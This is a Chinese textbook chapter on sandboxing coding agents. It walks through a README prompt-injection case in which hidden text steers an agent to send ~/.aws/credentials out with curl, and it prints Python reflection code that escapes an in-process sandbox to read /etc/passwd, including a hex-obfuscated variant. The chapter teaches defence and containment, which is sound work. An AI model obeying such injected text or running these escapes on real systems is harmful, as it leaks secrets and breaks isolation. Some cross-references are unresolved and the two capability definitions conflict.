智能体沙箱
目的
为什么必须在模型之下强制限制智能体代码能够触及的范围,而不能只是要求模型遵守这一限制?
只需几轮交互,一个安装依赖、阅读依赖文档并运行测试套件的编码智能体,就已经执行了既非其操作者也非模型编写的代码,并阅读了互联网上任何人都可能编写的文本。模型会将这些文本与自身指令作为同一个序列读取,因此,植入所获取页面中的一句话,能够像系统提示一样轻易地引导下一次工具调用,而任何对模型的指令都无法使该调用变得安全。获准的调用还会运行代码,而授权本身从未描述这些代码能够触及的范围。一个获准运行测试的 shell 命令,可以读取凭据文件、打开通往任意主机的套接字,或留下一个等待下一位租户的后台进程。因此,这种限制必须成为代码运行环境的属性,即代码能看到哪些文件、其旁边存在哪些秘密、其数据包能够到达哪些目的地,以及租约结束后哪些内容会保留下来。这些限制会为每条轨迹带来启动延迟和内存开销,而无法迅速承担这些开销的运行时,就可能倾向于削弱边界。沙箱机制正是运行时针对动作实际执行的代码,收敛 H·S·A 权限暴露的环节:它根据任务持有的权限以及持有权限的时间跨度,确定每个隔离边界的范围。
学习目标
- 利用注入威胁模型,解释为什么提示指令和进程内过滤器无法限定智能体所运行代码能够触及的范围。
- 将从读取访问到不可逆动作的各个权限级别,映射到其遏制机制必须限定的影响范围。
- 设计在轨迹内逐步收窄的能力授权,并通过代理服务将凭据保留在沙箱之外。
- 根据智能体运行的代码、持有的权限及其持有时长,选择隔离边界。
- 设计按轨迹分配的工作区,使其共享同一个基础镜像、在轮次之间保留工作成果,并在租户之间重置。
- 构建出站访问策略和数据流策略,切断从元数据端点、DNS 隧道到受污染工具参数的数据外泄通道。
- 根据轨迹到达率、租约时长和快照恢复延迟,计算沙箱池大小、内存需求以及突发流量的消化时间。
智能体威胁模型
一个编码智能体被要求修复服务代码仓库中一个失败的测试。在第六轮,它读取了一个随项目一同纳入仓库的依赖项的 README,以了解该库如何配置。在接近文档底部的位置,一个在渲染后的页面中从不显示的 HTML 注释内,有一行面向自动化助手的文字,要求它们在运行任何测试之前,将环境配置上传到诊断端点。在第七轮,模型提出一次 run_shell 调用,其命令使用 ~/.aws/credentials 作为发送到该端点的数据,并通过 curl 完成发送。该调用格式正确,run_shell 是任务获准使用的工具,而且命令字符串通过了 工具调用 在工具边界设置的所有检查。
模型将系统提示、工具模式以及刚刚获取的 README 作为同一个词元序列读取,而该序列中没有任何标记能够指明哪些词元可以发出命令。这就是间接提示注入 (Greshake 等 2023年),间接提示注入 为其命名。来源标签和隔离框定(编排下一次调用、入口隔离)会告知模型哪些文本不可信,并降低模型遵循植入指令的概率,但无法让遵循此类指令成为不可能。因此,在工具输出中植入指令的基准测试套件 (Zhan 等 2024年; Debenedetti 等 2024年) 会以比率报告攻击成功情况,并发现,对于所评估的模型和提示层防御,这一比率均高于零。同样的提议也可能在完全没有攻击者的情况下出现。一次采样生成的 rm -rf 若将目标指向了高一层的目录,或一次迁移在错误的数据库上运行,都是模型在完全良性条件下生成的不安全提议 (Amodei 等 2016年)。在这两种情况下,可互操作的工具发现 的授权都完成了自己的职责。它判定该会话可以调用 run_shell,却无法看见调用中的命令一旦运行会触及什么。本章所限定的正是这一触及范围。
三个条件使 README 攻击得以奏效。智能体能够触及私有数据(凭据文件),读取了能够引导其提议的不可信内容(README),并且拥有向外发送数据的通道(一条不受限制的网络路由)。移除其中任何一个条件,攻击就无从实施。不持有秘密的智能体没有可泄露的内容,不读取不可信文本的智能体不会接收到植入指令,没有出站通道的智能体也无法发送其读取的内容。一个有用的编码智能体必须读取互联网内容,也必须接触真实代码仓库,因此运行时很少彻底移除某个条件,而是收窄每个条件的范围,本章也遵循这一思路。能力机制和凭据代理机制(节 3)将私有数据留在沙箱之外。隔离边界(节 4)及其内部的工作区(节 5)限定代码能够接触的内容。出站控制(节 6)收窄网络通道,而污点追踪(节 7)防止不可信文本通过仍然可用的工具决定数据的去向。沙箱池及其重置契约(节 8)则将所有这些机制的成本降到足够低,使人们不会产生将其关闭的念头。
指令与数据共存的困境
当操作系统内核向传统处理器分派指令时,它依赖一项基础性的体系结构不变量:物理硬件在可执行指令与不可信应用数据之间强制实施严格的、由硬件介导的隔离。处理器的内存管理单元(MMU)在每个内存周期都会检查页表保护位,强制执行写入与执行互斥(\(W \oplus X\))权限,防止可写数据缓冲区作为机器代码执行;与此同时,硬件特权环将具有管理权限的内核(x86-64 上的 Ring 0、ARM64 上的异常级别 1)与无特权的用户空间进程(Ring 3 或异常级别 0)明确隔离。如果一个无特权应用试图执行特权指令、解引用未映射地址或覆盖内核内存,硬件就会同步触发体系结构异常。执行会立即陷入已注册的内核异常向量,使违规线程停在一个确定且可检查的状态。
智能体运行时没有这样的硬件位可供检查。模型将系统指令、工具模式以及从外部来源获取的不可信观测,作为一个连续的词元序列读取。多头注意力机制对整个序列应用相同的键和值投影矩阵,计算所有词元对之间的点积相似度,在体系结构层面并不区分可信指令与对抗性数据载荷。
对于一个长度为 \(L = 32{,}768\) 个词元、其中包含 \(N_{\text{data}} = 4{,}096\) 个词元的不可信外部检索载荷的上下文窗口,成对注意力计算会覆盖所有词元之间的交互: \[ \text{Total Attention Pairs} = L^2 = (32{,}768)^2 = 1{,}073{,}741{,}824\text{ pairs} \] 不可信外部数据词元与内部指令词元之间的交叉注意力交互解释了: \[ \text{Untrusted Cross-Pairs} = N_{\text{data}} \times L = 4{,}096 \times 32{,}768 = 134{,}217{,}728\text{ pairs} \] which constitutes: \[ \frac{134{,}217{,}728}{1{,}073{,}741{,}824} = 12.5\%\text{ of total prefill attention compute} \] 在这一统一的稠密矩阵中,对抗性注入可以引导下一词元分布,使其生成格式正确、符合模式约束的工具调用,并以运行时监督器的环境权限执行。经典 OS 进程与自主智能体执行平面之间的威胁向量差异汇总于 表 1。
| 保护维度 | 经典操作系统(Saltzer & Schroeder 1975) | 自主智能体运行时 |
|---|---|---|
| 指令与数据分离 | 由硬件强制实施(\(W \oplus X\)、MMU 页表、独立的代码段与数据段)。 | 不存在;指令与数据共存于扁平的 Transformer 词元上下文中。 |
| 权限模型 | 环境权限源自进程的 UID/GID 及父进程继承。 | 无环境权限;候选提案暂存于宿主内存中,等待授权。 |
| 故障模式与信号通知 | 故障即停止;硬件陷阱、段错误、同步 POSIX 信号(SIGSEGV)。 |
故障时仍显得可信(Fail-Plausible 故障模型);流畅且语法有效的命令掩盖了灾难性的语义破坏。 |
| 引用监控器 | 内核空间(Ring 0 / EL1)通过系统调用表管控对硬件资源的访问。 | 宿主智能体运行时监督器在分派执行之前拦截带有类型的工具提案。 |
| 隔离边界 | 进程虚拟地址空间、内存分段、硬件特权环。 | 多层虚拟化:命名空间隔离、seccomp-bpf、微型虚拟机、出站代理。 |
Definition 0.1: 影响范围
影响范围是一个操作能够读取、修改或发送到其沙箱之外的状态集合,由运行时的强制执行机制确定,而非由要求模型执行的任务确定。
- 意义:它是隔离包络、能力与出站策略共同限定的量;任务所需的隔离程度随其持有的权限级别提高而增加。
- 区别:任务的权限级别说明它被允许做什么。其影响范围说明,如果模型侧的所有防御同时失效,它可能做什么。
- 常见误区:根据要求模型使用的工具来估算影响范围,而非根据这些工具背后的代码所能触及的一切来估算。
各权限级别的影响范围
H·S·A 暴露面中的权限级别按任务可对外部世界执行的操作进行分级;当提案出错时,每个级别都会产生不同的影响范围。可互操作的工具发现规定了调用运行之前,各级别的授权要求。各权限级别的影响范围补充了另一半内容,将各级别与调用代码运行后可能出现的问题,以及该级别必须具备的隔离措施对应起来。
有两行值得强调,因为设计最常在这两处配置不足。读取访问的影响范围并非为零(H·S·A 暴露面),README 攻击展示了其机制:它未修改任何内容,只需先读取再发送。另一端,沙箱无法使 \(A_3\) 操作变得安全。支付或生产环境迁移会在任何隔离包络之外生效,因此沙箱的职责仅是保证:其内部的任何代码路径,都只能通过 审批关卡 的审批关卡才能触发此类操作。\(A_2\) 这一行对结算(幂等动作执行)与补偿(故障恢复)的依赖,与对隔离措施的依赖同样重要。
模型下层的隔离(原则 10)将该表转化为一条设计规则。每个被派发的动作都在一个执行边界内运行,该边界由位于所容纳代码下层的机制强制执行;边界内的任何内容都只能通过运行时控制的通道访问宿主、其他租户或网络。不变量闭包原则(不变闭包原则)解释了这条规则为何如此表述。模型侧的措施,例如提示框定、安全微调或防护分类器,可以降低产生不良提议的概率,而只有模型下层的机械性检查才能限定提议所能造成的影响。
curl 调用,在对受保护资产产生任何影响之前,必须经过三层防护。中介层检查模式、授权、能力,以及针对不可逆动作的审批关卡。执行边界使代码在独立的客户机内核后运行,并配备最小化的系统调用允许列表、写时复制工作区和资源上限。出站层仅允许流量通过持有凭据的代理流向指定目的地,并过滤 DNS。突破防护需要每一层都失效。
图 1 追踪了 README 攻击经过这三层的过程。中介层放行该调用,因为 run_shell 已获授权,且命令符合类型要求。执行边界将命令限制在客户机内,其文件系统中没有凭据文件,因为凭据从不进入沙箱。出站层丢弃上传流量,因为诊断端点不在允许列表中。各层的失效彼此独立,因此某一层存在缺陷(授权范围过宽、客户机内核漏洞、代理规则过于宽松)时,另外两层仍然有效。执行边界还为运行时提供了模型无法提供的证据。询问模型其脚本是否安全,只会产生另一个提议(认识论边界:受强制的约束域与语义正确性);而执行边界让运行时能够观察命令打开了哪些文件,以及尝试访问了哪些主机。
工程上的问题在于每一层由什么构建,而工程师通常首先尝试在智能体运行框架已经使用的语言运行时中构建执行边界。
进程内沙箱为何失效
一个数据分析智能体编写 Python 代码来汇总 CSV 文件,智能体运行框架在自身的解释器中使用 exec() 运行这些代码,传入一个经过删减的全局变量字典,并且可能拒绝语法树中提及 import 或 eval 的脚本。这种设计很有吸引力,因为它无需额外启动开销,还能复用智能体运行框架已经加载的库。它会以四种方式失效,而每一种的原因都相同:执行限制的代码与受限制的代码共享同一个进程地址空间。
第一种失效方式是反射。从全局变量中移除 os 和 __import__,删除的是名称,而不是对象。在 Python 中,每个值都关联到其类,每个类都关联到其基类,而所有类共同的基类可以枚举进程中加载的每个类。代码 1 沿着这条链,从一个空元组找到能够启动进程的类,整个过程中脚本从未提及任何被禁止的模块。每种动态语言都提供了等价路径;在 JavaScript 中,任意函数字面量的构造函数都能访问全局作用域。
# 1. Reach the universal base class from any literal
root_object = ().__class__.__base__
# 2. Enumerate every class currently loaded in the process
live_subclasses = root_object.__subclasses__()
# 3. Find a class that can start processes
popen_cls = [cls for cls in live_subclasses if cls.__name__ == "Popen"][0]
# 4. Launch a process, bypassing the sanitized globals entirely
popen_cls(["cat", "/etc/passwd"])动态堆对象遍历与反射绕过
从解释器字典中移除一个变量名,只会断开一个符号引用;这既不会销毁内存中的底层对象,也不会切断将每个对象实例链接回运行时类型层次结构根节点的双向指针。
在 Python 中,每个对象实例都通过 __class__ 属性维护一个指向其类对象的指针。该类对象通过 __base__ 指向其父类,这条继承链最终终止于通用基类 object。关键在于,object 通过 __subclasses__() 方法维护着一个内部注册表,其中记录了运行时地址空间内定义的所有类。在不可信代码中实例化的任何无害字面量——空元组 ()、空字符串 "" 或整数字面量——都提供了一个不可变的遍历锚点,攻击者可从此出发遍历堆中的继承树,找到一个尚未启用的系统工具类,并实例化一个不受约束的 shell 执行器。
试图通过检查抽象语法树(AST)来查找禁用标识符的静态过滤器,在运行时动态反射面前会从根本上失效:
# Reflection obfuscation evading static string filtering
attr_name = "".join(["_", "_", "sub", "classes", "_", "_"])
payload = bytes.fromhex("5f5f737562636c61737365735f5f").decode()
root_class = ().__class__.__base__
subclasses = getattr(root_class, attr_name)()根据莱斯定理,判定以图灵完备语言编写的任意程序是否会在运行时调用被禁止的方法,是不可判定的。任何严格到足以消除所有动态反射路径的过滤器,都会严重削弱该语言执行合法数据分析任务的能力。
原生内存破坏漏洞利用
即使解释器运行时在理论上能够对其字节码和反射图实现完全验证,现代机器学习工作流仍会通过原生 C/C++ 扩展突破这一边界。承担数据分析、图像处理或张量计算任务的智能体,会通过外部函数接口(FFI)调用已编译的二进制程序,将 NumPy、Pillow、PyTorch 和 libvips 等库直接链接到解释器的地址空间中。
这些已编译的扩展缺乏内存安全保障。当智能体执行模型生成的脚本来加载图像或操作数组时,执行会直接转入已编译的 C 例程。原生库中的堆缓冲区溢出、整数溢出或释放后使用漏洞,使对抗性输入能够直接覆盖进程的物理内存页。
PyTypeObject 虚函数表和栈返回地址。这使攻击者能够执行任意代码,并以进程现有凭据直接调用需要特权的宿主系统调用。
如 图 2 所示,执行过程发生在单一的 64 位虚拟内存区域(VMA)内,共享进程现有凭据。在用户空间(Ring 3)的顶部,Python 解释器执行智能体字节码。当智能体通过 ctypes 或 C 扩展绑定调用原生例程时,控制权转移到不具备内存安全保障的已编译 C 库。当恶意输入触发越界写入时,堆缓冲区溢出会破坏相邻的堆内存区,并损坏 CPython 内部元数据——具体而言,是 PyTypeObject 方法表(tp_call、tp_iternext)中的函数指针。控制流劫持将执行重定向到攻击者的 shellcode。由于该进程共享宿主内核的系统调用接口(sys_call_table),被攻陷的线程会直接发起需要特权的宿主系统调用(sys_execve、sys_ptrace),使执行转入 Ring 0 内核空间,在始终未突破用户空间进程边界的情况下瓦解宿主隔离。
进程内的可信计算基(\(TCB_{\text{in-process}}\))涵盖整个解释器运行时和所有以原生方式链接的库: \[ TCB_{\text{in-process}} = 800\text{k} + 350\text{k} + 2{,}500\text{k} + 600\text{k} = 4{,}250{,}000 \text{ lines of memory-unsafe code} \] 相比之下,将执行解耦到一个受严格中介机制管控的外部边界中,可减少特权系统调用的暴露: \[ \text{Attack Surface Reduction} = \frac{S_{\text{host}} - S_{\text{isolated}}}{S_{\text{host}}} = \frac{450 - 12}{450} = \frac{438}{450} \approx 97.33\% \]
共享身份下的环境权限
进程内沙箱的最后一种失效是操作系统边界上的环境权限。当智能体运行时在进程内执行不可信代码时,该代码与监督程序本身使用完全相同的进程标识符(PID)、用户标识符(UID)和组标识符(GID):
- 共享文件描述符表:宿主进程持有的任何已打开文件描述符——数据库连接、内部日志管道、本地状态数据库或网络套接字——都可被不可信的进程内代码通过未经中介检查的
sys_write调用访问。 - 虚拟内存暴露:机密内存页——包括宿主 API 令牌、SSH 私钥,以及存储在
environ中的系统环境变量——位于同一地址空间内的可读内存页中。 - 共享系统调用表:不可信代码可以调用宿主内核支持的任何系统调用,探测回环网络接口(
127.0.0.1),通过/proc检查相邻进程,并注册信号处理程序,以拦截宿主监督程序发起的终止尝试。
Saltzer 和 Kaashoek (2009年) 阐明了这些失效所违反的原则:隔离机制必须由位于其所控制代码下方的层来实现,这也是不变量闭包原则(不变闭包原则)将机械性约束置于模型下方的原因。进程内监控器无法提供 工具子系统架构 所要求的完全中介,因为破坏内存或遍历对象图的脚本会连同其他一切一起攻破监控器。因此,智能体运行的代码必须位于独立进程中,而且通常还要由独立内核隔离。然而,独立进程仍以某个身份运行;如果它以启动智能体的开发者身份运行,就会继承该开发者所能行使的全部权限。
权能与凭据
假设运行框架将工具执行移至一个以开发者自身账户运行的子进程。读取注入文本后,模型提出 read_file(path="/Users/alice/.ssh/id_rsa")。操作系统允许读取,因为 alice 拥有该文件,而进程以 alice 的身份运行。运行框架由此成为了混淆代理 (Hardy 1988年),即一个被权限较低的一方(此处为模型上下文中的文本)诱导滥用自身权限的特权程序。访问控制列表检查的是谁在运行,而不是谁提出请求;在智能体中,提出请求的一方包括上下文窗口中每个词元的作者。
混淆代理 Norm Hardy 描述过一个获准写入计费文件的编译器:用户将该文件指定为输出路径,从而诱骗编译器覆盖它。以开发者身份运行工具的智能体运行框架处于与该编译器相同的位置。
权能模型 (Saltzer 和 Schroeder 1975年; Miller 2006年) 消除了环境权限。权限随不可伪造的引用传递,该引用同时指定资源及对该资源持有的权利,而进程只能对其持有引用的资源执行操作。表 3 从对智能体至关重要的维度对比了这两种模型。
| 维度 | 环境权限(访问控制列表) | 基于权能的权限 |
|---|---|---|
| 权限来源 | 进程运行所使用的身份 | 持有不可伪造的令牌 |
| 资源命名方式 | 路径和 IP 地址等全局名称 | 指定资源的句柄或签名令牌 |
| 默认权限 | 该身份可访问的任何资源 | 没有令牌则无任何权限 |
| 委派 | 该身份的全部权利,或完全没有权利 | 任意子集,可细化到单个文件或单个方法 |
| 混淆代理 | 默认结果 | 从构造上排除 |
| 撤销 | 更改全局策略 | 令牌过期或句柄关闭 |
权能是将 可互操作的工具发现 中的授权传递到工具边界下方的方式。授权是运行时作出的决定,允许当前会话调用特定工具。权能将这一决定以令牌的形式传入沙箱,其作用域限定为授权所涵盖的资源;沙箱驱动程序在每次访问时都检查该令牌,因此,获授权的 run_shell 只能读取其权能所指定的路径。
权能检查
本书将权能表示为 \(C = (R, O, P, E)\),并使用仅由运行时持有的密钥对其签名。\(R\) 是权利集合(读取、写入、执行、连接),\(O\) 是其指定的对象(路径前缀、主机名、代码仓库),\(P\) 是限制参数与成本的谓词,\(E\) 是到期时间。提案 \(a\) 指定操作、目标和参数。运行时仅在所有条件均成立时才批准该提案:
\[\text{Verdict}(a, C, t) = \begin{cases} \text{APPROVE} & \text{if } \text{VerifySig}(C) \land a.\text{op} \in C.R \land a.\text{target} \sqsubseteq C.O \land \text{Cost}(a) \le C.P \land t < C.E \\ \text{REJECT} & \text{otherwise} \end{cases}\]
图 3 的左侧展示了这一检查。被拒绝的提案不会改变任何状态,会返回模型可据以采取行动的结构化观测结果,以满足 工具接口模式 的错误塑形规范,并在轨迹日志中留下一条记录。检查本身的成本很低。验证消息认证码只需微秒级时间,而生成提案的模型调用需要秒级时间,因此,对每次访问进行中介检查不会增加用户能够测量到的开销。
在经典访问控制下,操作系统评估环境凭据: \[\text{Process } (\text{euid}=1000) \xrightarrow{\texttt{open(\"/etc/shadow\")}} [\text{Kernel ACL Check}: \text{euid} \stackrel{?}{=} 0] \implies \textbf{DENIED}\] 然而,在未经中介检查的智能体运行时中,监督程序会成为混淆代理: \[\text{Untrusted Injected Context} \xrightarrow{\text{\"Read API Key\"}} [\text{Supervisor } (\text{euid}=1000)] \xrightarrow{\texttt{open(\"~/.aws/credentials\")}} \textbf{ALLOWED}\]
形式化权能验证与单调衰减
显式权能令牌 \(C\) 被形式化定义为一个四元组: \[ C = (R, O, P, E) \] 其中,\(R\) 是规范资源标识符(例如规范化的文件系统路径或网络 URI),\(O\) 是获授权操作的集合(例如 \(\{\text{READ}, \text{WRITE}\}\)),\(P\) 表示结构性参数约束(例如最大文件大小或字节偏移量边界),而 \(E\) 是该能力到期的纪元时间戳。
当智能体提出动作 \(P\) 时,监督边界会依据当前有效的能力评估该请求: \[ \text{Verdict}(P, C, t) = \begin{cases} \text{APPROVE} & \text{if } \text{VerifySig}(C) \land P.\text{op} \in C.O \land P.\text{res} \in C.R \land t < C.E \\ \text{DENY} & \text{otherwise} \end{cases} \]
此外,当智能体将任务委派给子智能体时,权限必须单调递减: \[ C_{\text{child}} \sqsubseteq C_{\text{parent}} \iff C_{\text{child}}.O \subseteq C_{\text{parent}}.O \land C_{\text{child}}.R \subseteq C_{\text{parent}}.R \land C_{\text{child}}.E \le C_{\text{parent}}.E \] 子上下文所获得的权限绝不能超出其创建者所拥有的权限。任何权限提升尝试都会立即触发监管故障:
# Attempted privilege escalation trapped at the supervisory boundary
[2026-09-19T10:14:22.401Z] WARN supervisor: Trajectory 0x8F9C requested CAP_SYS_ADMIN
[2026-09-19T10:14:22.402Z] ERROR supervisor: Capability check failed: target privilege exceeds parent grant
[2026-09-19T10:14:22.402Z] INFO supervisor: Revoking execution token; terminating sandbox instance轨迹内的权限衰减
编码轨迹从第一轮到最后一轮并不需要始终拥有相同的权限。它会探索代码仓库并阅读文档,编辑工作区中的文件,运行测试,最后提出变更。每个阶段所需的权限都少于这四个阶段全部权限的并集。因此,运行时会在每个阶段边界收窄能力,并且只有通过来自轨迹外部的新授权(例如审批)才会扩大能力。这一规则称为单调衰减。派生能力 \(C_j\) 只有在某个已持有的能力 \(C_i\) 覆盖它时才有效:
\[C_j \sqsubseteq C_i \iff (R_j \subseteq R_i) \land (O_j \subseteq O_i) \land (P_j \implies P_i) \land (E_j \le E_i)\]
权限和对象的范围只能缩小,谓词只能增加约束,到期时间只能提前。考虑一条拥有其代码仓库读写权限、有效期为五分钟的轨迹:
\[\begin{aligned} C_{\text{edit}} &= \big(R=\{\text{read}, \text{write}\},\ O=\text{"/workspace/repo"},\ E=T_0 + 300\text{ s}\big) \\ C_{\text{test}} &= \big(R=\{\text{read}, \text{execute}\},\ O=\text{"/workspace/repo"},\ E=T_0 + 120\text{ s}\big) && [\text{rejected: execute} \notin R_{\text{edit}}] \\ C_{\text{scan}} &= \big(R=\{\text{read}\},\ O=\text{"/workspace/repo/src"},\ E=T_0 + 120\text{ s}\big) && [\text{valid: } C_{\text{scan}} \sqsubseteq C_{\text{edit}}] \end{aligned}\]
第二行虽然看起来范围更窄,却会被拒绝,因为它请求了一项父能力从未拥有的权限。若运行时需要支持测试阶段,就必须在最初发放的授权中包含执行权限,并在测试开始时移除写权限。在测试期间移除写权限,对评估和安全都至关重要。这能防止轨迹修改用于评判自身的测试,也是 闭合证据等级 中封闭测试证据级别的条件之一。同样的关系也支配着智能体之间传递的权限,正如 图 3 右侧的子智能体树所示;衰减能力委派 进一步讨论了这一情形。
Checkpoint 0.1: 环境权限与能力
在继续讨论秘密和凭据之前,请确认你能够回答以下问题:
凭据代理
能力决定沙箱可以指称哪些对象,却不决定沙箱内存放哪些秘密。如果沙箱启动时在环境变量中携带代码仓库令牌,那么其中运行的每一行代码都能获得该令牌,包括由注入指令编写的代码。一旦凭据文件存在,README 攻击只需 cat 和 curl 即可得逞。
凭据代理将长期有效的秘密完全隔离在沙箱之外。沙箱的出站请求经过 节 6 中的出口代理;只有在根据轨迹的能力核查请求的目标地址、方法和资源后,代理才会附加凭据。沙箱内的代码看不到令牌,或者只能看到一个在其他任何地方都无用的占位符。因此,即使环境变量转储被窃取,其中也没有值得盗取的信息。凭据代理还可以为每条轨迹签发凭据,将其作用范围限定为一个代码仓库或一个 API,并使其随租约到期,同时将每次使用记录关联到发起该次使用的轨迹。代价是代理必须理解它注入凭据所涉及的协议,例如 HTTPS 请求中的授权标头。对于坚持使用本地密钥文件的工具,需要在代理端提供签名智能体,或者提供仅限单一目标使用的短期凭据。云实例自身的身份也需要同样的处理。如果一个链路本地元数据端点向任何本地调用者提供宿主机凭据,它就成了沙箱可触及的凭据分发器,出口控制必须阻止对它的访问。
能力与代理访问机制限定了运行时授予的权限。两者都假定代码无法通过攻击其底层内核来绕过检查,而这一假设是否成立,取决于代码运行所在的隔离封装。
选择隔离封装
三种智能体工作负载说明了为什么没有一种隔离封装能适用于所有工具调用。分析智能体使用用户提供的正则表达式匹配日志文件,每次计算仅需几毫秒,却会在一条轨迹中重复数百次。编码智能体安装软件包、编译并运行测试套件,整个轨迹持续四十分钟。运维智能体运行客户上传的二进制程序。对于每一种工作负载,问题都在于不可信代码与宿主共享了什么,因为无论共享什么,漏洞都可能跨越这一边界。
Definition 0.2: 隔离封装
隔离封装是围绕智能体动作所运行代码的强制执行边界,由该代码与宿主共享的内容(内核、内存、文件、网络)界定,并由代码无法修改的层来强制执行。
- 重要性:隔离封装决定了代码或强制执行机制本身出现漏洞时的影响范围,其启动成本则决定了运行时能够以多高的频率创建新的隔离封装。
- 区别:能力限制动作可以指定哪些资源。隔离封装则限制代码在无视这些资源名称并攻击底层时能够触及什么。
- 常见误区:根据打包的便利性选择隔离封装,而不是根据智能体实际将运行的代码进行选择。
共享内核容器将不可信代码作为普通宿主进程运行,通过命名空间缩小其可见范围,通过控制组限制其资源,并过滤其系统调用。过滤有助于防护,但代码仍会直接调用宿主内核,单个可利用的内核漏洞就能让代码控制宿主。编译并运行任意原生代码的智能体,其行为就像针对该接口的模糊测试器。容器适合运行时或运维人员编写的代码,而不适合模型编写的代码。
用户态内核 (Google 2019年) 拦截沙箱的系统调用,并在内存安全的进程中重新实现这些调用,因此宿主内核只会接收到一组数量少且固定的调用。代价主要由执行大量系统调用的工作负载承担,而构建、软件包安装和版本控制操作这些编码智能体的日常工作,恰好就是此类工作负载。与完整 Linux 接口之间的兼容性差距也出现在这些操作中。
微型虚拟机(microVM)在自身的客户机内核之后运行代码,并通过硬件虚拟化实现隔离。即使客户机取得了自身内核的 root 权限,仍被限制在虚拟机管理程序为其映射的内存范围内;它能够攻击的宿主组件则缩减为一个精简的虚拟机监控器和虚拟机管理程序接口。其中一种设计 (Agache 等 2020年) 仅保留少量半虚拟化设备,并将监控器本身作为无特权、受命名空间隔离且经过系统调用过滤的进程运行,因此监控器中的漏洞会被限制在第二层隔离封装内。移除传统设备模型,也使启动成本从常规虚拟机的数秒降至可采用池化机制的范围(节 8)。
图 4 对比了系统隔离封装谱系中各类方案的攻击面。
内核攻击面:共享内核与硬件陷入
操作系统容器依赖 clone(2) 系统调用,并使用 CLONE_NEWPID、CLONE_NEWNET、CLONE_NEWNS 和 CLONE_NEWUSER 等标志来构建隔离的命名空间。这些命名空间是宿主内核内部用于逻辑记录管理的结构;它们并不改变用户空间代码的基本执行模型。每当容器内的智能体工具执行发起系统调用时,CPU 都会在宿主处理器上直接从 Ring 3(用户空间)切换到 Ring 0(内核空间)。宿主内核的系统调用分发器会验证参数,执行所请求的驱动程序例程或内存管理例程,然后将控制权交还给进程。由于宿主内核完全通过软件实施中介控制,内核的内存管理、IPC 或文件系统子系统中的任何逻辑漏洞,都可能使用户空间代码以完整的监督者权限执行任意指令。
硬件辅助虚拟化通过利用 Intel VT-x 或 AMD-V 等硬件扩展改变了这一边界。物理 CPU 在两种不同的模式下运行:VMX 根操作模式和 VMX 非根操作模式。宿主虚拟机监控程序在 VMX 根模式下运行,而客户机软件——包括客户机操作系统内核及其沙箱化的用户进程——则在 VMX 非根模式下执行。在 VMX 非根模式下,标准计算指令以原生硬件速度执行。然而,敏感操作——例如修改控制寄存器(CR0、CR3、CR4)、执行特权指令(CPUID、INVD、VMXON),或尝试对物理中断控制器进行编程——会由处理器硬件直接拦截。当客户机指令违反执行规则时,CPU 会暂停客户机执行,将客户机状态保存到称为虚拟机控制结构(VMCS)的物理内存结构中,并触发 VM-Exit 陷入,将控制权交还给处于 VMX 根模式的虚拟机监控程序。
硬件辅助虚拟化中的内存虚拟化由二维页表控制,在 Intel 架构上称为扩展页表(EPT),在 AMD 架构上称为嵌套页表(NPT)。当沙箱化的智能体进程为访问变量而转换虚拟内存地址时,处理器的内存管理单元(MMU)会执行两阶段地址转换:
\[\text{Guest Virtual Address (GVA)} \xrightarrow{\text{Guest Page Table}} \text{Guest Physical Address (GPA)} \xrightarrow{\text{Extended Page Table (EPT)}} \text{Host Physical Address (HPA)}\]
客户机内核对其内部页表拥有完整的管理控制权,因此可以在无需宿主干预的情况下为其子进程分配虚拟内存。然而,客户机无法修改 EPT 根指针(EPTP);该指针由处于 VMX 根模式的虚拟机监控程序配置并实施写保护。即使对抗性智能体载荷利用漏洞取得了对客户机 Linux 内核的完整 root 控制权,它仍然会在物理层面被限制在分配给它的 GPA 空间内。客户机内核无法寻址、检查或破坏宿主 EPT 结构显式映射范围之外的任何宿主物理内存页框(\(HPA\)),由此确立了 隔离边界切换机制 中所比较的边界切换机制。
| 隔离层 | 切换机制 | 陷入处理实体 | 攻击面 |
|---|---|---|---|
| 容器(runC) | syscall(Ring 3 \(\to\) 0) |
宿主 Linux 内核 | \(\approx 450\) 个宿主系统调用 |
| 用户空间内核(gVisor) | ptrace 或 KVM 陷入 |
Sentry(用户空间) | \(\approx 50\) 个宿主系统调用 |
| 微型虚拟机(Firecracker) | VM-Exit(非根模式 \(\to\) 根模式) |
KVM 虚拟机监控程序 | \(\approx 35\) 个宿主系统调用 |
极简虚拟机架构:Firecracker 设计
QEMU 等传统开源虚拟机监控程序支持任意硬件仿真,使虚拟机能够在任意宿主平台上启动传统操作系统。因此,QEMU 包含针对传统外围硬件的复杂软件模型,包括软盘控制器、IDE 和 SATA 磁盘接口、Intel e1000 网卡、PCI 到 PCI 桥、Sound Blaster 声卡,以及庞大的高级配置与电源接口(ACPI)状态机。这种通用性需要超过 150 万行 C 代码,既带来了显著的宿主内存占用,也形成了庞大的攻击面,容易受到虚拟机监控程序逃逸漏洞的影响。
Firecracker 由 Amazon Web Services 的 Agache 等 (2020年) 开发,完全摒弃了传统 PC 平台模型,转而采用高度精简的虚拟机监控器(VMM)。Firecracker 使用内存安全的 Rust 实现,利用 Linux 基于内核的虚拟机(/dev/kvm)ioctl API 管理硬件虚拟化,同时将所有仿真硬件组件精简至现代短生命周期工作负载所需的最低限度。
Firecracker 完全移除了 PCI 总线层次结构、ACPI 表以及传统 BIOS/UEFI 固件初始化例程。Firecracker 不模拟 PCI 设备,而是仅通过基于内存映射 I/O 的 VirtIO(VirtIO-MMIO)暴露虚拟化外设。设备寄存器映射到固定且连续的客户机物理内存地址区间,这些地址区间被硬编码到内核启动参数中。Firecracker 仅提供四种虚拟设备类型:
virtio-block: 一种异步块设备接口,为客户机提供由主机文件或原始设备节点支持的虚拟磁盘。virtio-net: 一种网络接口,将客户机网络协议栈直接桥接到主机上的 Linux TAP 设备。virtio-vsock: 一种零配置的虚拟套接字接口,无需网络路由或 IP 地址分配,即可在主机用户空间守护进程与客户机服务之间实现双向、多路复用、基于数据包的进程间通信(IPC)。- 串行控制台与定时器: 一个精简的 8250 UART 串行控制台,用于调试日志记录,同时配有模拟的可编程间隔定时器(PIT)和实时时钟(RTC)。
由于 Firecracker 跳过了传统 BIOS 和 UEFI 固件阶段,虚拟机监控程序通过直接内核启动路径启动客户机内核。主机上的 Firecracker 进程从磁盘读取未压缩的 64 位 Linux 内核二进制文件(vmlinux),将其直接映射到客户机物理内存中的预定偏移位置,并填充 x86 64 位启动协议数据结构(boot_params“零页”)。Firecracker 将内核命令行参数直接写入客户机内存,指定根文件系统位置和固定的 MMIO 基地址,然后立即调用 KVM_RUN ioctl。
